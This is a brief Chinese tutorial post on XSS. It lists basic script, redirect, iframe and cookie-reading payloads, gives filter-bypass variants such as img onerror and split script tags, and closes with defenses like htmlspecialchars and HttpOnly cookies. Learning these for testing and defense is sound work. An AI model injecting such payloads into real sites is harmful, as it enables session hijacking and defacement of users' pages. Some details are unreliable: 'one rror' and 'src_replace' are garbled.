其他分享
首页 > 其他分享> > XSS漏洞攻击及防御

XSS漏洞攻击及防御

作者:互联网

1.xss攻击语句
(1)基本测试
<script>alert("hack")</script>
(2)页面跳转
<script>location="http://www.baidu.com"</script>
(3)嵌入网页
<iframe src=http://www.baidu.com width=400 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
(4)获取cookie
<script>alert(document.cookie)</script>

2.突破过滤,实现xss
(1)突破过滤<script>
<img src=1 one rror=alert('hack')>
<scr<script >ipt>alert('hack')</scr</script>ipt>
(2)突破过滤alert
<script>confirm("hack")</script>
<img src=1 one rror=confirm('hack')>
(3)大写

3.防护
(1)对前端输入和输出做过滤和编码
①htmlspecialchars()
htmlspecialchars()函数可以把& (和号)、“(双引号)、'(单引号)、<(小于)、>(大于)这些敏感符号都转换为htm实体。& (和)转成&amp;" (双引号)转成&quot;<(小于)转成&lt;>(大于)转成&gt;
②strip_tags()
③src_replace()
(2)给关键的cookie使用http-only

 

标签:XSS,http,ipt,alert,漏洞,过滤,防御,转成,hack
来源: https://www.cnblogs.com/wuerdaqi/p/15797666.html